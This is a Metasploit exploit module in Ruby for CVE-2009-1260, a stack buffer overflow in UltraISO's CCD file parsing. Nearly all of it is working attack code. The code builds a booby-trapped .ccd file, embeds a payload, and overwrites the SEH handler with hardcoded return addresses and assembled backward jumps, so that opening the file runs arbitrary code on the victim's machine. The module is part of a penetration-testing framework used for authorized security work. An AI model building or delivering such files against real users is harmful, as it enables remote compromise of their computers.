rapid7/metasploit-framework

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modules/exploits/windows/fileformat/ultraiso_ccd.rb

Summary

Maintainability
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6 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UltraISO CCD File Parsing Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in EZB Systems, Inc's
        UltraISO. When processing .CCD files, data is read from file into a
        fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
        can occur. Attackers can execute arbitrary code by convincing their victim
        to open an CCD file.

        NOTE: A file with the same base name, but the extension of "img" must also
        exist. Opening either file will trigger the vulnerability, but the files must
        both exist.
      },
      'License'        => MSF_LICENSE,
      'Author'          => [ 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2009-1260' ],
          [ 'OSVDB', '53275' ],
          [ 'BID', '34363' ],
          # NOTE: The following BID is a duplicate of BID 34363
          [ 'BID', '38613' ],
          # NOTE: The following OSVDB entry seems invalid, the IMG file doesn't appear to trigger any vulnerability.
          # [ 'OS-VDB', '53425' ],
          [ 'EDB', '8343' ]
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'BadChars'    => "\x00\x08\x0a\x0d\x20",
          'DisableNops' => true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested OK on:
          # v9.3.3.2685
          # v9.3.6.2750

          # The EXE base addr contains a bad char (nul). This prevents us from
          # using the super-elite multi-offset SEH exploitation method.

          [ 'Windows Universal - Double-Click/Command Line Open Method',
            {
              'Offset' => 4094,
              # NOTE: lame_enc.dll isn't loaded when opening via double-click / cmd line.
              #'Ret' => 0x10011640 # p/p/r in lame_enc.dll
              # To make matters even worse, we can't use system dlls due to Safe SEH!
              #'Ret' => 0x71b26b7e # p/p/r in mpr.dll
              'Ret' => 0x00403856 # p/p/r in unpacked UltraISO.exe (from public exploit)
            }
          ],
          [ 'Windows Universal - File->Open + Toolbar Open Methods',
            {
              'Offset' => [ 5066, 5158 ],
              'Ret' => 0x10011640 # p/p/r in lame_enc.dll
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-04-03',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ccd']),
      ])
  end

  def exploit

    print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")

    sploit = "[CloneCD]\r\n"
    sploit << "Version=3\r\n"

    sploit << "[Disc]\r\n"
    sploit << "TocEntries=4\r\n"
    sploit << "Sessions=1\r\n"
    sploit << "DataTracksScrambled=0\r\n"
    sploit << "CDTextLength=0\r\n"

    sploit << "[Session 1]\r\n"
    sploit << "PreGapMode=1\r\n"
    sploit << "PreGapSubC=0\r\n"
    sploit << "[Entry 0]\r\n"
    sploit << "Session=1\r\n"
    sploit << "Point=0xa0\r\n"
    sploit << "ADR=0x01\r\n"
    sploit << "Control=0x04\r\n"
    sploit << "TrackNo=0\r\n"
    sploit << "AMin=0\r\n"
    sploit << "ASec=0\r\n"
    sploit << "AFrame=0\r\n"
    sploit << "ALBA=-150\r\n"
    sploit << "Zero=0\r\n"
    sploit << "PMin=1\r\n"
    sploit << "PSec=0\r\n"
    sploit << "PFrame=0\r\n"
    sploit << "PLBA=4350\r\n"

    sploit << "[Entry 1]\r\n"
    sploit << "Session=1\r\n"
    sploit << "Point=0xa1\r\n"
    sploit << "ADR=0x01\r\n"
    sploit << "Control=0x04\r\n"
    sploit << "TrackNo=0\r\n"
    sploit << "AMin=0\r\n"
    sploit << "ASec=0\r\n"
    sploit << "AFrame=0\r\n"
    sploit << "ALBA=-150\r\n"
    sploit << "Zero=0\r\n"
    sploit << "PMin=1\r\n"
    sploit << "PSec=0\r\n"
    sploit << "PFrame=0\r\n"
    sploit << "PLBA=4350\r\n"

    sploit << "[Entry 2]\r\n"
    sploit << "Session=1\r\n"
    sploit << "Point=0xa2\r\n"
    sploit << "ADR=0x01\r\n"
    sploit << "Control=0x04\r\n"
    sploit << "TrackNo=0\r\n"
    sploit << "AMin=0\r\n"
    sploit << "ASec=0\r\n"
    sploit << "AFrame=0\r\n"
    sploit << "ALBA=-150\r\n"
    sploit << "Zero=0\r\n"
    sploit << "PMin=0\r\n"
    sploit << "PSec=2\r\n"
    sploit << "PFrame=34\r\n"
    sploit << "PLBA=34\r\n"

    sploit << "[Entry 3]\r\n"
    sploit << "Session=1\r\n"
    sploit << "Point=0x01\r\n"
    sploit << "ADR=0x01\r\n"
    sploit << "Control=0x04\r\n"
    sploit << "TrackNo=0\r\n"
    sploit << "AMin=0\r\n"
    sploit << "ASec=0\r\n"
    sploit << "AFrame=0\r\n"
    sploit << "ALBA=-150\r\n"
    sploit << "Zero=0\r\n"
    sploit << "PMin=0\r\n"
    sploit << "PSec=2\r\n"
    sploit << "PFrame=0\r\n"
    sploit << "PLBA=0\r\n"

    sploit << "[TRACK 1]\r\n"
    sploit << "MODE=1\r\n"
    sploit << "INDEX 1="

    idx_line = ''
    idx_line << rand_text_alphanumeric(1000) * 9

    # Stick the payload at the beginning
    idx_line[0,payload.encoded.length] = payload.encoded

    # If we have an array of offets, handle it specially
    seh_offset = target['Offset']
    if (seh_offset.is_a?(::Array))
      # Multiple offets that can be used simultaneously
      seh_offset.each { |off|
        seh = generate_seh_record(target.ret)
        distance = off + seh.length
        jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

        idx_line[off, seh.length] = seh
        idx_line[off+seh.length, jmp.length] = jmp
      }
    else
      off = seh_offset
      # We'll manually construct this double-backward jumping SEH handler frame
      distance = off - 5
      jmp1 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
      distance = jmp1.length
      jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
      seh = ''
      seh << jmp2
      seh << rand_text(2)
      seh << [target.ret].pack('V')
      # we can't put anything below the return address due to a potential nul byte in it

      # Add the double-back-jumping SEH frame
      idx_line[off-5, jmp1.length] = jmp1
      idx_line[off,seh.length] = seh
    end

    sploit << idx_line

    file_create(sploit)

    # This extends the current class, and changes the file_format_name.
    # This allows us to use the file_create(data) to store the created
    # file in the correct directory.

    class << self
      def file_format_filename
        datastore['FILENAME'].gsub(/\.ccd$/, '.img')
      end
    end

    file_create('')
  end
end